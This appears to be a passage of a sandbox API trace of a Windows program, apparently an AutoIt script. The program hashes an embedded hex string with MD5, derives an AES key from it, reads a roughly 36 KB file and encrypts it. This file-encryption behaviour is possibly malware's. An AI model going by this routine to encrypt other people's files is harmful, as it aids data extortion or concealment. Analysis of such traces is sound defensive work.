hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.540] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f41997e0) returned 1 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.540] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.540] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.541] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.541] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.541] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.541] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.541] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.541] CryptCreateHash (in: hProv=0xe8f41997e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0029.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b750, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0029.543] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.543] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0029.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b330, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0029.543] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.544] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.544] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.544] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417ac00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0029.545] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0029.545] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b960, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.546] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.546] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.546] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.546] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.546] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.546] CryptDeriveKey (in: hProv=0xe8f41997e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.547] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.547] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.547] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.549] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.549] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8d63, lpOverlapped=0x0) returned 1 [0029.550] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.552] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.552] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.552] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.553] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.553] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.553] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.553] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.553] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.553] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.553] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.553] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.554] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417aba0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0029.555] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0029.555] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064bf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.556] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.557] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8d63, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x8d70) returned 1 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.557] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] CharLowerBuffW (in: lpsz="byte[36209]", cchLength=0xb | out: lpsz="byte[36209]") returned 0xb [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] 